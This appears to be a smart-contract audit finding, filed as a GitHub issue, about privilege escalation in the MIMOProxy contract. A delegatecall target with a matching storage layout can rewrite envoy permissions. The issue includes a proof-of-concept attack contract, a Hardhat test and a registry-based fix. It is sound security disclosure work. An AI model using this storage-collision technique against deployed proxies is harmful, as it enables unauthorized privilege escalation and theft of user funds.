Lines of code
<https://github.com/code-423n4/2022-08-mimo/blob/eb1a5016b69f72bc1e4fd3600a65e908bd228f13/contracts/proxy/MIMOProxy.sol#L55-L64&gt;

Vulnerability details

The MIMOProxy contract stores per-caller, per-target, per-selector permissions in a nested internal mapping.

MIMOProxy.sol#L21:

  /// INTERNAL STORAGE ///

  /// @notice Maps envoys to target contracts to function selectors to boolean flags.
  mapping(address => mapping(address => mapping(bytes4 => bool))) internal _permissions;

If the caller of execute is an authorized “envoy” with the right permissions, they are allowed to delegatecall from the MIMOProxy instance.

MIMOProxy.sol#L55:

    // Check that the caller is either the owner or an envoy.
    if (owner != msg.sender) {
      bytes4 selector;
      assembly {
        selector := calldataload(data.offset)
      }
      if (!_permissions[msg.sender][target][selector]) {
        revert CustomErrors.EXECUTION_NOT_AUTHORIZED(owner, msg.sender, target, selector);
      }
    }

However, although these permissions are stored in an internal mapping, a malicious (or malfunctioning) target contract with the same or overlapping storage layout may manipulate envoy permissions. Malicious target contracts may use this method to grant themselves additional permissions or authorize other envoys and targets.

Note that MIMOProxy defends against similar attempts to change the contract owner by storing the current owner address before executing delegatecall and checking that it has not changed after. However, due to the nature of Solidity mappings, and the nestedness of the permissions mapping, it’s not feasible to perform the same check for envoy permissions.

Impact: An authorized envoy + malicious target may intentionally modify or accidentally overwrite envoy permissions. Malicious target contracts may attempt to trick users into escalating privileges using this method.

Recommendation

This is a tough one, but if the addresses of Mimo-authorized target contracts are known, consider maintaining and consulting an external registry to further constrain envoys and prevent them from calling target contracts that are not known Mimo modules:

  ITargetRegistry immutable targetRegistry;

  function getPermission(
    address envoy,
    address target,
    bytes4 selector
  ) external view override returns (bool) {
    return _permissions[envoy][target][selector] && targetRegistry.isAuthorized(target);
  }

Test cases

We’ll use this ProxyAttacks helper contract to manipulate proxy storage. Note that it has the same storage layout as MIMOProxy.

contract ProxyAttacks {

   address public owner;
   uint256 public minGasReserve;
   mapping(address => mapping(address => mapping(bytes4 => bool))) internal _permissions;

   // Selector 0x694bf8a2
   function setPermission() external {
     _permissions[address(1)][address(2)][0xdeadbeef] = true;
   }
}

Then deploy the ProxyAttacks helper in a test environment and use MIMOProxy to delegatecall into it:

import chai, { expect } from 'chai';
import { solidity } from 'ethereum-waffle';
import { deployments, ethers } from 'hardhat';

import { MIMOProxy, MIMOProxyFactory, MIMOProxyRegistry, ProxyAttacks } from '../../typechain';

chai.use(solidity);

const setup = deployments.createFixture(async () => {
  const { deploy } = deployments;
  const [owner, attacker] = await ethers.getSigners();

  await deploy("MIMOProxy", {
    from: owner.address,
    args: [],
  });
  const mimoProxyBase: MIMOProxy = await ethers.getContract("MIMOProxy");

  await deploy("MIMOProxyFactory", {
    from: owner.address,
    args: [mimoProxyBase.address],
  });
  const mimoProxyFactory: MIMOProxyFactory = await ethers.getContract("MIMOProxyFactory");

  await deploy("MIMOProxyRegistry", {
    from: owner.address,
    args: [mimoProxyFactory.address],
  });
  const mimoProxyRegistry: MIMOProxyRegistry = await ethers.getContract("MIMOProxyRegistry");

  await deploy("ProxyAttacks", {
    from: owner.address,
    args: [],
  });
  const proxyAttacks: ProxyAttacks = await ethers.getContract("ProxyAttacks");

  return {
    owner,
    attacker,
    mimoProxyBase,
    mimoProxyFactory,
    mimoProxyRegistry,
    proxyAttacks,
  };
});

describe("Proxy attack tests", () => {
  it("Permission manipulation by malicious target", async () => {
    const { owner, mimoProxyRegistry, proxyAttacks } = await setup();
    await mimoProxyRegistry.deploy();
    const currentProxy = await mimoProxyRegistry.getCurrentProxy(owner.address);

    const proxy = await ethers.getContractAt("MIMOProxy", currentProxy);

    // Call setPermission on ProxyAttacks contract
    await proxy.execute(proxyAttacks.address, "0x694bf8a2");

    const envoy = "0x0000000000000000000000000000000000000001";
    const target = "0x0000000000000000000000000000000000000002";
    const selector = "0xdeadbeef";

    // Proxy's permissions have been updated
    expect(await proxy.getPermission(envoy, target, selector)).to.equal(true);
  });
});  

---

The text was updated successfully, but these errors were encountered:

All reactions